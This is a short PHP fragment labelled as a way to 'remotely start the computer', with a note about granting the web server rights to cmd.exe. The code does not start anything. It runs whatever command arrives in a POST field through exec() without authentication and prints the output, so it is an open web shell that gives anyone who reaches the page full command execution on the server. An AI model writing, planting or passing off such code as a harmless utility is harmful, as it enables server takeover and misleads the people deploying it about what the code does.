1.
2. /**
3. * Remotely start the computer
4. * Note: iis/apache needs to have windows/system/cmd.exe execution permissions
5. *
6. **/
7. if (isset($_POST['cmd'])) {
8. $cmd= stripslashes( $_POST['cmd'] );
9. exec( $cmd,$out);
10. var_dump($out);
11. echo '
';
12. var_dump($cmd);
13. } else {
14. ?>
15.
16.